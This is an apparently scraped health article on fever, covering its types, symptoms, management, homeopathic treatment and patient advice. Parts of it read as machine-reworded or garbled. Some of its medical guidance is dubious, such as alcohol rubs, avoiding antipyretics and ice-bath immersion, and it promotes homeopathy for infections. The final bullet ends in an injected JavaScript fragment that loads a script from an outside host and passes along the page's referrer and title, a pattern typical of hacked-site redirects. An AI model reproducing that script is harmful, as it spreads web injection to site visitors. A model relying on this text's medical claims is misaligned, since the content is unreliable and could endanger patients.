• Fever (Pyrexia)

    A fever is a brief increment in your body temperature, frequently because of an ailment. Having a fever is a sign that something strange is going ahead in your body.
    For a grown-up, a fever may be uncomfortable, however generally isn’t a reason for concern unless it achieves 103° F (39.4° C) or higher. For newborn children and babies, a marginally raised temperature may demonstrate a genuine disease.
    Fevers for the most part go away inside a couple of days. Various over-the-counter pharmaceuticals bring down a fever, however in some cases its better left untreated. Fever appears to assume a key part in helping your body battle off various contaminations.

    It is the commonest pointer to the presence of an infection. It is caused by tissue injury. Substances released by tissue injury, act on the hypothalamic centers and result in the production of fever. The various types of fever are as follows:

    Continuous Fever
    When it remains above normal throughout the day, the diurnal variation being maintained at about 1.5°F.

    Remittent Fever
    When the fever varies by more than 1.5°F through the day, but remains above normal.

    Intermittent Fever
    When the temperature touches normal during the day.

    Hectic Fever
    Temperature, the fever goes very high, up to 105° F or more and then swings back to normal, accompanied by profuse perspiration.

    Symptoms of fever are:
    You have a fever when your temperature rises above its normal range. What’s normal for you may be a little higher or lower than the average normal temperature of 98.6° F (37° C).
    Depending on what’s causing your fever, additional fever signs and symptoms may include:
    • Sweating
    • Shivering
    • Headache
    • Muscle aches
    • Loss of appetite
    • Dehydration
    • General weakness
    • Headache.
    • Tachycardia.
    • Tachyponea
    • Oliguria.
    • Hot, dry and flushed, skin.
    • Mild albummuria.
    • Urine shows a high specific gravity.
    • Dry and coated tongue.
    • Anorexia.
    • Nausea.
    • Constipation.
    • Herpes labialis (fever blisters).
    • Delirium.

    High fevers between 103° F (39.4° C) and 106° F (41.1° C) may cause:
    • Hallucinations
    • Confusion
    • Irritability
    • Convulsions
    • Dehydration

    Other general manifestations of fever are:
    • Malaise.
    • Muscular aches.
    • Joint pain.
    • Pain on movement of the eyes.
    • Headache.
    • Photophobia.
    • Hot and cold feelings.
    • Chilliness and nausea.
    • Localizing signs.
    None of the above symptoms are specific and can occur individually in other infective conditions as well.

    Management of Pyrexia
    Fever increases the body’s basal metabolic rate. A moderate rise in basal metabolic rate is harmless. However, fever above 105 °F for a long duration has the possibility of causing cerebral damage. For mild fever, keep the patient in a well-ventilated room, provide plenty of fluids orally, so as to make up for the loss of body water by perspiration and increased body metabolism. When the patient is in toxic state and is not taking adequate fluids orally, administer intravenous fluids. ¡f fever becomes moderately high, it should not be brought down with antipyretics, as with these the patient becomes cold and clammy with the fall in body temperature; also the blood pressure comes down. Therefore, it is always better to bring the temperature down by massaging the limbs with spirit or alcohol and directing a table fan towards the patient. Ice can also be rubbed over the patient’s skin.

    In cases of hyperpyrexia, rectal temperature reaches 107 °F or more. It is vital to reduce the body temperature quickly. For this remove the patient’s clothes and place him in a bathtub full of ice. If the high temperature persists, it will lead to permanent cerebral damage.

    Management of Infection
    ‘Homeopathic drugs’ when given to treat acute infective disorders, act by stimulating the natural immune resources of the individual. The cure thus affected allows the disease to run its natural course in the most benign manner. In the light of current medical understanding of disease, patho-physiological infections cause subtle changes at the organic level, but have a very fast pace. Since the last 200 years medical intervention has hardly changed in context of homeopathic treatment. Still most of the time the homeopathic physician is a passive interventionist, until the symptoms develop, on the basis of which he makes the selection of the similimum. Then if the individual’s resistance is poor or infecting agent, is very virulent, the prognosis becomes guarged.

    Patient education
    – Avoid self-medication.
    – Medicines should be taken only on the ad vise of a physician.
    – Avoid covering the patient having high fever with a blanket.
    – Take plenty of fluids. Keep the patient in a cool environment.
    – Cold sponging should be done repeatedly in case of high fever.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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